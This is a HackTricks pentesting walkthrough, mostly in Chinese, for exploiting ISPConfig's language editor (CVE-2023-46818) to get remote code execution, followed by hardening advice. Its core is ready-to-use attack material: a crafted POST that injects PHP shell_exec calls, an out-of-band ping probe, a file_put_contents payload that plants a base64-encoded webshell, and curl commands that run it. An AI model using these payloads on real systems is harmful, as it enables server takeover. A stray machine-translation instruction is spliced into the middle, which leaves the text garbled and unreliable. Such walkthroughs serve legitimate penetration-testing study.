ISPConfig

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

ISPConfig 是一个开源的托管控制面板。较旧的 3.2.x 构建包含一个语言文件编辑器功能,当为超级管理员启用时,允许通过畸形的翻译记录注入任意 PHP 代码。这可能在 web 服务器上下文中导致 RCE,并且取决于 PHP 的执行方式,可能引起权限提升。

关键默认路径:

  • 当使用 php -S 或通过 Apache/nginx 提供服务时,Web 根目录通常位于 /var/www/ispconfig
  • 管理界面可通过 HTTP(S) vhost 访问(有时仅绑定到 localhost;如有需要,使用 SSH 端口转发)。

提示:如果面板绑定在本地(例如 127.0.0.1:8080),请进行端口转发:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

语言编辑器 PHP 代码注入 (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

手动利用流程

  1. 打开/创建一个语言文件以获取 CSRF 令牌

发送第一次 POST 以初始化表单,并从 HTML 响应中解析 CSRF 字段(csrf_id, csrf_key)。示例请求路径:/admin/language_edit.php.

  1. 通过 records[] 注入 PHP 并保存

提交第二次 POST,包含 CSRF 字段和一个恶意的翻译记录。最小命令执行探针:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

带外测试(监测 ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. 写入文件并部署 webshell

使用 file_put_contents 在可被 web 访问的路径下创建文件(例如 admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

然后写一个简单的 webshell,使用 base64 来避免 POST body 中的坏字符:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

请粘贴 src/network-services-pentesting/pentesting-web/ispconfig.md 的内容,我会按要求将其中需要翻译的英文翻译为中文,保留代码、标签、链接和路径不翻译。

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

如果 PHP 以 root 身份执行(例如,通过 php -S 127.0.0.1:8080 由 root 启动),则会立即导致 root RCE。否则,你将获得作为 web 服务器用户的代码执行权限。

Python PoC

一个现成的 exploit 会自动处理 token 并传送 payload:

示例运行:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

硬化

  • 升级到 3.2.11p1 或更高版本
  • 禁用语言编辑器,除非确有必要:
admin_allow_langedit=no
  • 不要以 root 身份运行面板;配置 PHP-FPM 或 Web 服务器以降低运行权限
  • 为内置的 admin 账户强制使用强认证

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks